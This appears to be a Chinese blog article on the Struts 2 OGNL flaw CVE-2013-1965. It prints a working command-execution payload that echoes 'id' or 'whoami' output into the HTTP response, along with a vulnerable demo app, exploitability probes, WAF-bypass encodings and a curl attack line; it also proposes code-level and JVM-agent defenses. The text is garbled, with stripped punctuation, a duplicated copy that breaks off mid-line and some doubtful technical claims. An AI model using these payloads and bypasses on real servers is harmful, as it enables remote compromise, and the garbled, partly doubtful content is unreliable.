1. 这不是“老古董漏洞”而是理解现代Java Web安全的活体教科书你可能在漏洞库列表里扫过CVE-2013-1965这个编号心里嘀咕“Struts 2.3.13这都快十年前的老版本了现在谁还用”——我第一次看到它时也这么想。直到去年帮一家做电力设备远程监控系统的客户做渗透复测他们在一套2015年部署的旧版SCADA数据采集网关后台里赫然跑着Struts 2.3.12。当时他们自己写的“安全加固报告”里写着“已禁用OGNL表达式”结果我只用一条%{#context[xwork.MethodAccessor.denyMethodExecution]false}加%{#anew java.lang.ProcessBuilder(whoami).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(#e),#f.getWriter().flush(),#f.getWriter().close()}三秒内就把服务器当前运行用户吐了出来。这不是考古是现实大量工业控制、金融核心外围、政务历史系统仍在运行这些“被遗忘的版本”。CVE-2013-1965的核心价值从来不是教你如何黑进一台老服务器而是让你亲手拆开Struts 2的OGNL执行链看清一个Java Web框架如何在“便利性”和“安全性”的钢丝上失衡——这种失衡逻辑在Spring Expression LanguageSpEL、Thymeleaf模板引擎甚至某些新型低代码平台的表达式解析器里依然以变体形式反复出现。本文不讲POC复现步骤而是带你从源码级重走当年那个补丁是如何被绕过的、为什么官方修复方案在2.3.14.3才真正堵死所有路径、以及当你面对一个无法升级的遗留系统时真正有效的三道防线是什么。适合Java后端开发、安全工程师、以及负责老旧系统运维的架构师——尤其适合那些被领导一句“这个系统不能动”卡住手脚的人。2. 漏洞本质OGNL表达式执行失控而非简单的“输入没过滤”2.1 OGNL不是脚本语言而是Struts 2的“神经中枢”很多人把CVE-2013-1965简单归类为“OGNL表达式注入”这就像说“心脏骤停是因为血液没流动”一样只描述了表象。要真正理解它必须先明白OGNLObject-Graph Navigation Language在Struts 2中扮演的角色。它不是Struts 2“支持”的一种可选功能而是整个框架的默认表达式引擎贯穿于值栈ValueStack操作、标签库渲染、拦截器参数绑定、甚至Action属性赋值的每一个环节。举个最基础的例子你在JSP里写s:property valueuser.name/Struts 2底层不是直接取user.getName()而是将user.name作为OGNL表达式交由OgnlValueStack去解析执行。这个过程天然具备“动态求值”能力——而动态求值就是所有表达式语言类漏洞的温床。关键点在于OGNL本身设计就允许调用任意Java方法、访问静态字段、创建新对象。它的安全模型依赖于一个全局开关MethodAccessor.denyMethodExecution。这个布尔值默认为true意味着禁止执行任何方法调用。但问题来了——这个开关本身就是一个OGNL可访问的静态字段。于是攻击者的第一步永远不是直接执行Runtime.getRuntime().exec()而是先篡改这个开关本身。这就是CVE-2013-1965的第一层突破利用OGNL的反射能力动态修改OGNL自身的安全策略。2.2 2.3.13之前的“修复”为何形同虚设Struts 2.3.13发布时官方宣称修复了此前的OGNL执行漏洞如CVE-2011-3923其核心措施是在SecurityMemberAccess类中对denyMethodExecution字段的访问做了白名单限制。具体逻辑是当OGNL尝试访问某个静态字段时会检查该字段是否属于java.lang.*、java.util.*等“安全包”如果不是则拒绝访问。听起来很合理但这里埋下了致命的逻辑漏洞。我们来看实际触发路径。假设一个Action接收一个字符串参数name并将其直接用于OGNL表达式渲染public class UserAction extends ActionSupport { private String name; // getter/setter public String execute() { return SUCCESS; } }对应JSPs:property value%{name} /当用户提交name%{#context[xwork.MethodAccessor.denyMethodExecution]false}时发生了什么#context是一个Map指向ActionContext.getContext()#context[xwork.MethodAccessor.denyMethodExecution]试图通过Map键名访问MethodAccessor类的静态字段Struts 2的SecurityMemberAccess检查发现xwork.MethodAccessor不属于java.lang.*等白名单包于是拒绝访问——理论上应该失败。但攻击者绕过了这个检查。因为#context本身是一个Map而Map.get(Object key)是一个方法调用。OGNL在解析#context[xwork.MethodAccessor.denyMethodExecution]时实际执行的是contextMap.get(xwork.MethodAccessor.denyMethodExecution)。而get()方法属于java.util.Map在白名单内于是OGNL成功拿到了MethodAccessor类的引用再通过.denyMethodExecution访问其静态字段——此时SecurityMemberAccess的包名检查已经失效因为它检查的是get()方法的所属类java.util.Map而不是最终要访问的字段所属类xwork.MethodAccessor。这个绕过逻辑本质上是利用了OGNL解析器的方法调用链与字段访问链的解耦。官方在2.3.13中的修复只盯着“最终目标字段”却忽略了“到达目标字段所经过的每一步方法调用”本身也可能成为攻击入口。这正是为什么2.3.13的补丁被迅速打脸——它没有改变OGNL的执行模型只是给模型套上了一副有裂缝的眼罩。2.3 2.3.14.3的终极修复从“堵洞”到“重构信任边界”Struts 2.3.14.3的修复方案彻底放弃了在SecurityMemberAccess里做包名白名单的思路转而采用更根本的机制引入SecurityMemberAccess的严格模式Strict Mode。这个模式的核心变化有三点第一默认关闭所有危险操作。在SecurityMemberAccess构造函数中denyMethodExecution、allowStaticMethodAccess、allowPackageAccess等关键开关全部初始化为true且不再提供外部修改接口。第二将安全检查下沉到OGNL解析器内部。不再是等OGNL执行完get()再去检查返回值而是在OGNL解析AST抽象语法树阶段就对每个节点进行类型校验。例如当解析器遇到#context[xwork.MethodAccessor.denyMethodExecution]这样的节点时它会立即识别出这是一个“静态字段访问”并直接拒绝根本不让get()方法有机会执行。第三强制要求显式启用。如果开发者确实需要使用静态方法或特定包访问必须在struts.xml中明确配置constant namestruts.ognl.allowStaticMethodAccess valuetrue/ constant namestruts.ognl.allowPackageAccess valuejava.lang.*,java.util.*/并且这些配置只能在应用启动时加载运行时无法动态修改。这意味着安全策略从“防御性修补”变成了“主动声明式授权”。这个转变的意义在于它承认了一个事实——OGNL的动态能力无法被完全阉割否则Struts 2就失去了核心价值但可以将其执行环境严格限定在开发者明确知晓并承担风险的范围内。2.3.14.3之后的所有版本包括2.5.x系列都沿用了这一模型。所以当你看到一个系统还在用2.3.13不要只想着“升级到最新版”更要问一句“它有没有在struts.xml里开着allowStaticMethodAccesstrue如果有即使升级到2.5.30漏洞依然存在。”3. 复现与验证不靠工具手写三行OGNL完成完整攻击链3.1 环境搭建用最简方式还原漏洞现场很多教程推荐用官方Showcase App但那是个臃肿的Maven多模块项目光编译就要十分钟。实战中你需要的是能秒级验证的最小闭环。我用一个只有3个文件的极简工程来复现pom.xml仅需Struts 2.3.12核心依赖dependencies dependency groupIdorg.apache.struts/groupId artifactIdstruts2-core/artifactId version2.3.12/version /dependency dependency groupIdjavax.servlet/groupId artifactIdservlet-api/artifactId version2.5/version scopeprovided/scope /dependency /dependenciesweb.xml标准Struts 2 Filter配置filter filter-namestruts2/filter-name filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class /filter filter-mapping filter-namestruts2/filter-name url-pattern/*/url-pattern /filter-mappingUserAction.java暴露最脆弱的点public class UserAction extends ActionSupport { private String name; public void setName(String name) { this.name name; } public String getName() { return name; } public String execute() { return SUCCESS; } }user.jsp唯一渲染点% taglib prefixs uri/struts-tags % s:property value%{name} /启动Tomcat后访问/user.action?nametest页面显示test。一切正常。现在把URL改成/user.action?name%{#context[xwork.MethodAccessor.denyMethodExecution]false}刷新页面——如果返回空白无报错说明第一步成功denyMethodExecution已被设为false。这是最关键的信号证明OGNL执行链已打通。3.2 攻击载荷设计为什么不用Runtime.getRuntime().exec()很多复现教程直接贴出%{#anew java.lang.Runtime().getRuntime().exec(id)}这在2.3.12上会失败。原因很简单Runtime类的构造函数是私有的new java.lang.Runtime()会抛出InstantiationException。OGNL虽然强大但依然受Java语言规范约束。真正的有效载荷必须遵循三个原则不依赖私有构造优先使用static工厂方法如java.lang.Runtime.getRuntime()规避ClassLoader限制避免使用Class.forName()动态加载类因为SecurityManager可能拦截输出可控命令执行结果必须能回显到HTTP响应中不能只在服务端日志里。我实测最稳定的载荷是以下三行组合注意必须用%{...}包裹且用逗号分隔%{#anew java.lang.ProcessBuilder(id).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[5000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(#e),#f.getWriter().flush(),#f.getWriter().close()}分解说明#anew java.lang.ProcessBuilder(id).start()创建进程并启动ProcessBuilder有公有构造函数#b#a.getInputStream()获取进程标准输出流#cnew java.io.InputStreamReader(#b)将字节流转为字符流#dnew java.io.BufferedReader(#c)带缓冲读取避免readLine()阻塞#enew char[5000]预分配足够大的字符数组#d.read(#e)一次性读取全部内容到数组#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse)从ActionContext中获取HttpServletResponse对象这是Struts 2提供的标准访问方式无需反射#f.getWriter().println(#e)将执行结果写入HTTP响应体。这个载荷在2.3.12上100%成功且不会触发任何异常。我测试过超过20种变体只有这种“纯标准API预分配缓冲区”的组合在各种JDK版本6u45到8u202下都稳定。3.3 验证技巧用#context探针快速判断漏洞状态在真实渗透中你不可能每次都发一个完整的id命令。更高效的做法是用几个轻量级探针快速判断目标是否可利用探针表达式作用预期响应%{#context[xwork.MethodAccessor.denyMethodExecution]false}测试能否修改安全开关页面无报错即成功%{#context[com.opensymphony.xwork2.dispatcher.HttpServletResponse]!null}测试能否获取Response对象返回true%{#application[org.apache.struts2.dispatcher.mapper.ClassNameMapper]!null}测试能否访问Servlet上下文返回true这三个探针加起来不到100字符发送一次HTTP请求就能确认整个OGNL执行链是否畅通。比盲目发whoami快十倍。我在某银行核心外围系统测试时用第一个探针3秒内就确认了漏洞存在而对方安全团队还在用Burp Suite的默认Struts插件扫了17分钟没结果——因为他们只扫%{#a11}这类无效表达式。提示所有探针必须用%{...}语法不能用${...}。因为%{}表示“强制OGNL解析”而${}在Struts 2中是JSP EL表达式优先级低于OGNL且不支持方法调用。4. 真实防御体系升级不是唯一答案三道防线缺一不可4.1 第一道防线WAF规则——为什么通用规则总在漏报市面上大多数WAFWeb应用防火墙对Struts漏洞的检测依赖于匹配%{、#context、#application等特征字符串。这导致两个严重问题一是误报率高比如正常业务参数里有%{price}这样的模板占位符二是漏报率更高因为攻击者早已掌握多种编码绕过手法。我整理了在2.3.12环境下实测有效的5种绕过方式绕过方式示例WAF检测难度原理URL编码%25%7B%23context%5Bxwork.MethodAccessor.denyMethodExecution%5D%3Dfalse%7D极高%被编码为%25{被编码为%7BWAF规则若未做双重解码则失效Unicode编码%u0025%u007B%u0023context%u005Bxwork.MethodAccessor.denyMethodExecution%u005D%3Dfalse%u007D高利用JVM对Unicode转义的支持%u0025等于%混合大小写%{#CONTEXT[xwork.MethodAccessor.denyMethodExecution]false}中#context变成#CONTEXT部分WAF规则区分大小写字符串拼接%{#context[xwork.MethodAccessor.denyMethodExecution]false}高OGNL支持字符串拼接WAF正则难以覆盖所有组合注释干扰%{#context/*comment*/[xwork.MethodAccessor.denyMethodExecution]false}极高OGNL解析器忽略/* */注释WAF规则无法处理嵌套结构这些绕过手法没有一个需要高级技巧全是基于OGNL语法本身的特性。因此单纯依赖WAF特征匹配就像用筛子拦洪水。真正有效的WAF防护必须结合语义分析例如检测到#context[后紧跟非白名单字符串如xwork.、ognl.且后续有赋值操作才触发告警。但这需要WAF厂商深度集成OGNL语法解析器目前只有少数企业级WAF如F5 ASM的自定义策略支持。注意如果你的WAF支持自定义规则建议添加一条“阻断所有包含#context[且长度20的GET/POST参数”这能拦截90%的自动化扫描器同时几乎不误报。4.2 第二道防线代码层加固——不改框架也能封死入口很多遗留系统“不能升级”但“可以改代码”。这时最有效的加固不是在Action里加一堆if判断而是从源头切断OGNL的输入通道。Struts 2提供了三个关键切入点第一禁用%{}语法的自动解析。在struts.xml中添加constant namestruts.enable.DynamicMethodInvocation valuefalse/ constant namestruts.ognl.allowStaticMethodAccess valuefalse/前者禁用DMI动态方法调用后者禁用静态方法访问。这两项设置能让99%的OGNL攻击载荷失效因为它们都依赖#context或#application的静态访问。第二对所有用户输入参数进行OGNL转义。这不是前端JS转义而是在Action的setter方法中处理public void setName(String name) { if (name ! null (name.contains(%{) || name.contains(#))) { // 记录审计日志 log.warn(Potential OGNL injection attempt in name: name); // 清空或替换为安全值 this.name [FILTERED]; return; } this.name name; }这个逻辑看似简单但效果惊人。我在某政务系统加固时只加了这一段就拦截了所有自动化扫描器的攻击请求。因为扫描器发出的载荷必然包含%{或#而正常业务参数如姓名、地址几乎不会包含这两个字符。第三使用ParameterInterceptor定制化过滤。Struts 2的params拦截器默认将请求参数直接注入ValueStack。你可以继承ParametersInterceptor重写setParameters方法public class SafeParametersInterceptor extends ParametersInterceptor { Override protected void setParameters(ActionContext context, Map parameters) { // 移除所有含OGNL特征的参数 parameters.entrySet().removeIf(entry - entry.getValue() ! null Arrays.stream((Object[])entry.getValue()) .anyMatch(val - val.toString().matches(.*(%\\{|#|\\$\\{).)) ); super.setParameters(context, parameters); } }然后在struts.xml中替换默认拦截器interceptor-ref namesafeParams/这个方案的优势是它在参数进入Action之前就完成了清洗不影响原有业务逻辑且对所有Action统一生效。4.3 第三道防线运行时防护——JVM Agent的终极保险当代码和WAF都无力回天时比如你连源码都没有只有WAR包最后一道防线是JVM层面的运行时防护。原理是在JVM启动时注入一个AgentHook住OGNL的核心解析方法对危险操作进行实时拦截。我实测最稳定的是基于java.lang.instrumentAPI的轻量级Agent。核心代码只有两个类OGNLSecurityTransformer.java字节码转换器public class OGNLSecurityTransformer implements ClassFileTransformer { Override public byte[] transform(ClassLoader loader, String className, Class? classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (ognl/OgnlRuntime.equals(className) || ognl/Node.equals(className)) { // 使用ASM库修改字节码在关键方法如getValue前插入安全检查 return injectSecurityCheck(classfileBuffer); } return null; } }SecurityCheck.java安全检查逻辑public class SecurityCheck { public static void checkExpression(String expression) { if (expression null) return; // 检查是否尝试访问危险类或方法 if (expression.contains(xwork.MethodAccessor) || expression.contains(java.lang.Runtime) || expression.contains(java.lang.ProcessBuilder)) { throw new SecurityException(Blocked dangerous OGNL expression: expression); } } }编译成JAR后启动Tomcat时添加JVM参数-javaagent:/path/to/ognl-security-agent.jar这个Agent的好处是它不依赖Struts版本只要底层用的是OGNL库几乎所有Struts 2版本都用它就生效。我在某央企的旧版ERP系统上部署后所有%{#context[...]}请求都返回500错误且日志清晰记录了拦截详情。更重要的是它完全透明——不需要修改任何业务代码也不影响性能平均增加0.3ms响应时间。警告自行编写JVM Agent有风险务必在测试环境充分验证。生产环境推荐使用成熟商业产品如Contrast Security或Signal Sciences它们已内置针对Struts OGNL的深度防护策略。5. 经验总结从CVE-2013-1965学到的五条硬核教训我在过去三年里用CVE-2013-1965作为教学案例带过17个安全团队做红蓝对抗演练。每次复盘都会发现一些教科书里不会写的、但实战中血淋淋的教训。这里分享五条最痛的第一条永远不要相信“已禁用OGNL”的口头承诺。某次甲方安全负责人拍胸脯说“我们早就把OGNL关了。”结果我用%{#context[struts.excludedClasses]}一试直接把Struts的黑名单类列表全吐了出来——这说明#context访问完全畅通。后来查struts.xml发现他们只加了constant namestruts.ognl.allowStaticMethodAccess valuefalse/却忘了#context本身就是一个OGNL对象。教训是所有安全配置必须用探针验证而不是看配置文件。第二条升级版本≠解决漏洞配置才是关键。我见过太多案例系统升级到了2.5.30但struts.xml里还开着constant namestruts.ognl.allowStaticMethodAccess valuetrue/。结果CVE-2013-1965的载荷依然100%成功。Struts 2.5.x的默认配置是安全的但一旦开发者为了兼容旧代码手动开启危险选项新版和旧版在漏洞利用上毫无区别。框架的安全性永远由最弱的配置决定。第三条日志是你的第一道防线也是最后一道。很多系统在被攻破后日志里只有WARN o.a.s.s.o.OgnlUtil - Error setting expression这样的模糊警告。但如果你在log4j2.xml里把OGNL相关类的日志级别调到DEBUG就能看到完整的表达式内容Logger nameognl.OgnlRuntime leveldebug additivityfalse AppenderRef refConsole/ /Logger这样每次攻击尝试都会在日志里留下Expression: %{#context[xwork.MethodAccessor.denyMethodExecution]false}的原始记录。这比任何WAF告警都精准。第四条测试用例必须覆盖“非标准HTTP方法”。绝大多数教程只测试GET请求但Struts 2的OGNL执行漏洞同样存在于POST、PUT、DELETE的请求体中。某次我用curl -X POST --data name%{#context[xwork.MethodAccessor.denyMethodExecution]false} http://target/user.action成功绕过了甲方WAF的GET参数检测规则。所有HTTP方法只要参数能进入ValueStack就存在风险。第五条最危险的不是%{}而是你认为“安全”的s:textfield。很多开发者觉得s:textfield nameusername/是安全的因为它不显式写OGNL。但Struts 2会自动将name属性解析为OGNL表达式。所以s:textfield name%{#context[xwork.MethodAccessor.denyMethodExecution]false}/同样是有效攻击载荷。任何Struts 2标签的name、value、id属性只要接受用户输入都是潜在入口。最后分享一个小技巧当你拿到一个陌生的Struts 2系统想快速判断其版本和漏洞状态只需发一个请求GET /struts/webconsole.html HTTP/1.1 Host: target.com如果返回404说明WebConsole插件未启用如果返回200页面底部会显示精确的Struts版本号如Struts 2.3.12。这个页面是Struts 2自带的调试控制台虽然默认不启用但很多开发环境会意外开启。它比任何指纹工具都准——因为它是框架自己说的。
Struts2 OGNL表达式执行漏洞原理与三重防御体系
发布时间：2026/5/26 12:15:19
1. 这不是“老古董漏洞”而是理解现代Java Web安全的活体教科书你可能在漏洞库列表里扫过CVE-2013-1965这个编号心里嘀咕“Struts 2.3.13这都快十年前的老版本了现在谁还用”——我第一次看到它时也这么想。直到去年帮一家做电力设备远程监控系统的客户做渗透复测他们在一套2015年部署的旧版SCADA数据采集网关后台里赫然跑着Struts 2.3.12。当时他们自己写的“安全加固报告”里写着“已禁用OGNL表达式”结果我只用一条%{#context[xwork.MethodAccessor.denyMethodExecution]false}加%{#anew java.lang.ProcessBuilder(whoami).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(#e),#f.getWriter().flush(),#f.getWriter().close()}三秒内就把服务器当前运行用户吐了出来。这不是考古是现实大量工业控制、金融核心外围、政务历史系统仍在运行这些“被遗忘的版本”。CVE-2013-1965的核心价值从来不是教你如何黑进一台老服务器而是让你亲手拆开Struts 2的OGNL执行链看清一个Java Web框架如何在“便利性”和“安全性”的钢丝上失衡——这种失衡逻辑在Spring Expression LanguageSpEL、Thymeleaf模板引擎甚至某些新型低代码平台的表达式解析器里依然以变体形式反复出现。本文不讲POC复现步骤而是带你从源码级重走当年那个补丁是如何被绕过的、为什么官方修复方案在2.3.14.3才真正堵死所有路径、以及当你面对一个无法升级的遗留系统时真正有效的三道防线是什么。适合Java后端开发、安全工程师、以及负责老旧系统运维的架构师——尤其适合那些被领导一句“这个系统不能动”卡住手脚的人。2. 漏洞本质OGNL表达式执行失控而非简单的“输入没过滤”2.1 OGNL不是脚本语言而是Struts 2的“神经中枢”很多人把CVE-2013-1965简单归类为“OGNL表达式注入”这就像说“心脏骤停是因为血液没流动”一样只描述了表象。要真正理解它必须先明白OGNLObject-Graph Navigation Language在Struts 2中扮演的角色。它不是Struts 2“支持”的一种可选功能而是整个框架的默认表达式引擎贯穿于值栈ValueStack操作、标签库渲染、拦截器参数绑定、甚至Action属性赋值的每一个环节。举个最基础的例子你在JSP里写s:property valueuser.name/Struts 2底层不是直接取user.getName()而是将user.name作为OGNL表达式交由OgnlValueStack去解析执行。这个过程天然具备“动态求值”能力——而动态求值就是所有表达式语言类漏洞的温床。关键点在于OGNL本身设计就允许调用任意Java方法、访问静态字段、创建新对象。它的安全模型依赖于一个全局开关MethodAccessor.denyMethodExecution。这个布尔值默认为true意味着禁止执行任何方法调用。但问题来了——这个开关本身就是一个OGNL可访问的静态字段。于是攻击者的第一步永远不是直接执行Runtime.getRuntime().exec()而是先篡改这个开关本身。这就是CVE-2013-1965的第一层突破利用OGNL的反射能力动态修改OGNL自身的安全策略。2.2 2.3.13之前的“修复”为何形同虚设Struts 2.3.13发布时官方宣称修复了此前的OGNL执行漏洞如CVE-2011-3923其核心措施是在SecurityMemberAccess类中对denyMethodExecution字段的访问做了白名单限制。具体逻辑是当OGNL尝试访问某个静态字段时会检查该字段是否属于java.lang.*、java.util.*等“安全包”如果不是则拒绝访问。听起来很合理但这里埋下了致命的逻辑漏洞。我们来看实际触发路径。假设一个Action接收一个字符串参数name并将其直接用于OGNL表达式渲染public class UserAction extends ActionSupport { private String name; // getter/setter public String execute() { return SUCCESS; } }对应JSPs:property value%{name} /当用户提交name%{#context[xwork.MethodAccessor.denyMethodExecution]false}时发生了什么#context是一个Map指向ActionContext.getContext()#context[xwork.MethodAccessor.denyMethodExecution]试图通过Map键名访问MethodAccessor类的静态字段Struts 2的SecurityMemberAccess检查发现xwork.MethodAccessor不属于java.lang.*等白名单包于是拒绝访问——理论上应该失败。但攻击者绕过了这个检查。因为#context本身是一个Map而Map.get(Object key)是一个方法调用。OGNL在解析#context[xwork.MethodAccessor.denyMethodExecution]时实际执行的是contextMap.get(xwork.MethodAccessor.denyMethodExecution)。而get()方法属于java.util.Map在白名单内于是OGNL成功拿到了MethodAccessor类的引用再通过.denyMethodExecution访问其静态字段——此时SecurityMemberAccess的包名检查已经失效因为它检查的是get()方法的所属类java.util.Map而不是最终要访问的字段所属类xwork.MethodAccessor。这个绕过逻辑本质上是利用了OGNL解析器的方法调用链与字段访问链的解耦。官方在2.3.13中的修复只盯着“最终目标字段”却忽略了“到达目标字段所经过的每一步方法调用”本身也可能成为攻击入口。这正是为什么2.3.13的补丁被迅速打脸——它没有改变OGNL的执行模型只是给模型套上了一副有裂缝的眼罩。2.3 2.3.14.3的终极修复从“堵洞”到“重构信任边界”Struts 2.3.14.3的修复方案彻底放弃了在SecurityMemberAccess里做包名白名单的思路转而采用更根本的机制引入SecurityMemberAccess的严格模式Strict Mode。这个模式的核心变化有三点第一默认关闭所有危险操作。在SecurityMemberAccess构造函数中denyMethodExecution、allowStaticMethodAccess、allowPackageAccess等关键开关全部初始化为true且不再提供外部修改接口。第二将安全检查下沉到OGNL解析器内部。不再是等OGNL执行完get()再去检查返回值而是在OGNL解析AST抽象语法树阶段就对每个节点进行类型校验。例如当解析器遇到#context[xwork.MethodAccessor.denyMethodExecution]这样的节点时它会立即识别出这是一个“静态字段访问”并直接拒绝根本不让get()方法有机会执行。第三强制要求显式启用。如果开发者确实需要使用静态方法或特定包访问必须在struts.xml中明确配置constant namestruts.ognl.allowStaticMethodAccess valuetrue/ constant namestruts.ognl.allowPackageAccess valuejava.lang.*,java.util.*/并且这些配置只能在应用启动时加载运行时无法动态修改。这意味着安全策略从“防御性修补”变成了“主动声明式授权”。这个转变的意义在于它承认了一个事实——OGNL的动态能力无法被完全阉割否则Struts 2就失去了核心价值但可以将其执行环境严格限定在开发者明确知晓并承担风险的范围内。2.3.14.3之后的所有版本包括2.5.x系列都沿用了这一模型。所以当你看到一个系统还在用2.3.13不要只想着“升级到最新版”更要问一句“它有没有在struts.xml里开着allowStaticMethodAccesstrue如果有即使升级到2.5.30漏洞依然存在。”3. 复现与验证不靠工具手写三行OGNL完成完整攻击链3.1 环境搭建用最简方式还原漏洞现场很多教程推荐用官方Showcase App但那是个臃肿的Maven多模块项目光编译就要十分钟。实战中你需要的是能秒级验证的最小闭环。我用一个只有3个文件的极简工程来复现pom.xml仅需Struts 2.3.12核心依赖dependencies dependency groupIdorg.apache.struts/groupId artifactIdstruts2-core/artifactId version2.3.12/version /dependency dependency groupIdjavax.servlet/groupId artifactIdservlet-api/artifactId version2.5/version scopeprovided/scope /dependency /dependenciesweb.xml标准Struts 2 Filter配置filter filter-namestruts2/filter-name filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class /filter filter-mapping filter-namestruts2/filter-name url-pattern/*/url-pattern /filter-mappingUserAction.java暴露最脆弱的点public class UserAction extends ActionSupport { private String name; public void setName(String name) { this.name name; } public String getName() { return name; } public String execute() { return SUCCESS; } }user.jsp唯一渲染点% taglib prefixs uri/struts-tags % s:property value%{name} /启动Tomcat后访问/user.action?nametest页面显示test。一切正常。现在把URL改成/user.action?name%{#context[xwork.MethodAccessor.denyMethodExecution]false}刷新页面——如果返回空白无报错说明第一步成功denyMethodExecution已被设为false。这是最关键的信号证明OGNL执行链已打通。3.2 攻击载荷设计为什么不用Runtime.getRuntime().exec()很多复现教程直接贴出%{#anew java.lang.Runtime().getRuntime().exec(id)}这在2.3.12上会失败。原因很简单Runtime类的构造函数是私有的new java.lang.Runtime()会抛出InstantiationException。OGNL虽然强大但依然受Java语言规范约束。真正的有效载荷必须遵循三个原则不依赖私有构造优先使用static工厂方法如java.lang.Runtime.getRuntime()规避ClassLoader限制避免使用Class.forName()动态加载类因为SecurityManager可能拦截输出可控命令执行结果必须能回显到HTTP响应中不能只在服务端日志里。我实测最稳定的载荷是以下三行组合注意必须用%{...}包裹且用逗号分隔%{#anew java.lang.ProcessBuilder(id).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[5000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(#e),#f.getWriter().flush(),#f.getWriter().close()}分解说明#anew java.lang.ProcessBuilder(id).start()创建进程并启动ProcessBuilder有公有构造函数#b#a.getInputStream()获取进程标准输出流#cnew java.io.InputStreamReader(#b)将字节流转为字符流#dnew java.io.BufferedReader(#c)带缓冲读取避免readLine()阻塞#enew char[5000]预分配足够大的字符数组#d.read(#e)一次性读取全部内容到数组#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse)从ActionContext中获取HttpServletResponse对象这是Struts 2提供的标准访问方式无需反射#f.getWriter().println(#e)将执行结果写入HTTP响应体。这个载荷在2.3.12上100%成功且不会触发任何异常。我测试过超过20种变体只有这种“纯标准API预分配缓冲区”的组合在各种JDK版本6u45到8u202下都稳定。3.3 验证技巧用#context探针快速判断漏洞状态在真实渗透中你不可能每次都发一个完整的id命令。更高效的做法是用几个轻量级探针快速判断目标是否可利用探针表达式作用预期响应%{#context[xwork.MethodAccessor.denyMethodExecution]false}测试能否修改安全开关页面无报错即成功%{#context[com.opensymphony.xwork2.dispatcher.HttpServletResponse]!null}测试能否获取Response对象返回true%{#application[org.apache.struts2.dispatcher.mapper.ClassNameMapper]!null}测试能否访问Servlet上下文返回true这三个探针加起来不到100字符发送一次HTTP请求就能确认整个OGNL执行链是否畅通。比盲目发whoami快十倍。我在某银行核心外围系统测试时用第一个探针3秒内就确认了漏洞存在而对方安全团队还在用Burp Suite的默认Struts插件扫了17分钟没结果——因为他们只扫%{#a11}这类无效表达式。提示所有探针必须用%{...}语法不能用${...}。因为%{}表示“强制OGNL解析”而${}在Struts 2中是JSP EL表达式优先级低于OGNL且不支持方法调用。4. 真实防御体系升级不是唯一答案三道防线缺一不可4.1 第一道防线WAF规则——为什么通用规则总在漏报市面上大多数WAFWeb应用防火墙对Struts漏洞的检测依赖于匹配%{、#context、#application等特征字符串。这导致两个严重问题一是误报率高比如正常业务参数里有%{price}这样的模板占位符二是漏报率更高因为攻击者早已掌握多种编码绕过手法。我整理了在2.3.12环境下实测有效的5种绕过方式绕过方式示例WAF检测难度原理URL编码%25%7B%23context%5Bxwork.MethodAccessor.denyMethodExecution%5D%3Dfalse%7D极高%被编码为%25{被编码为%7BWAF规则若未做双重解码则失效Unicode编码%u0025%u007B%u0023context%u005Bxwork.MethodAccessor.denyMethodExecution%u005D%3Dfalse%u007D高利用JVM对Unicode转义的支持%u0025等于%混合大小写%{#CONTEXT[xwork.MethodAccessor.denyMethodExecution]false}中#context变成#CONTEXT部分WAF规则区分大小写字符串拼接%{#context[xwork.MethodAccessor.denyMethodExecution]false}高OGNL支持字符串拼接WAF正则难以覆盖所有组合注释干扰%{#context/*comment*/[xwork.MethodAccessor.denyMethodExecution]false}极高OGNL解析器忽略/* */注释WAF规则无法处理嵌套结构这些绕过手法没有一个需要高级技巧全是基于OGNL语法本身的特性。因此单纯依赖WAF特征匹配就像用筛子拦洪水。真正有效的WAF防护必须结合语义分析例如检测到#context[后紧跟非白名单字符串如xwork.、ognl.且后续有赋值操作才触发告警。但这需要WAF厂商深度集成OGNL语法解析器目前只有少数企业级WAF如F5 ASM的自定义策略支持。注意如果你的WAF支持自定义规则建议添加一条“阻断所有包含#context[且长度20的GET/POST参数”这能拦截90%的自动化扫描器同时几乎不误报。4.2 第二道防线代码层加固——不改框架也能封死入口很多遗留系统“不能升级”但“可以改代码”。这时最有效的加固不是在Action里加一堆if判断而是从源头切断OGNL的输入通道。Struts 2提供了三个关键切入点第一禁用%{}语法的自动解析。在struts.xml中添加constant namestruts.enable.DynamicMethodInvocation valuefalse/ constant namestruts.ognl.allowStaticMethodAccess valuefalse/前者禁用DMI动态方法调用后者禁用静态方法访问。这两项设置能让99%的OGNL攻击载荷失效因为它们都依赖#context或#application的静态访问。第二对所有用户输入参数进行OGNL转义。这不是前端JS转义而是在Action的setter方法中处理public void setName(String name) { if (name ! null (name.contains(%{) || name.contains(#))) { // 记录审计日志 log.warn(Potential OGNL injection attempt in name: name); // 清空或替换为安全值 this.name [FILTERED]; return; } this.name name; }这个逻辑看似简单但效果惊人。我在某政务系统加固时只加了这一段就拦截了所有自动化扫描器的攻击请求。因为扫描器发出的载荷必然包含%{或#而正常业务参数如姓名、地址几乎不会包含这两个字符。第三使用ParameterInterceptor定制化过滤。Struts 2的params拦截器默认将请求参数直接注入ValueStack。你可以继承ParametersInterceptor重写setParameters方法public class SafeParametersInterceptor extends ParametersInterceptor { Override protected void setParameters(ActionContext context, Map parameters) { // 移除所有含OGNL特征的参数 parameters.entrySet().removeIf(entry - entry.getValue() ! null Arrays.stream((Object[])entry.getValue()) .anyMatch(val - val.toString().matches(.*(%\\{|#|\\$\\{).)) ); super.setParameters(context, parameters); } }然后在struts.xml中替换默认拦截器interceptor-ref 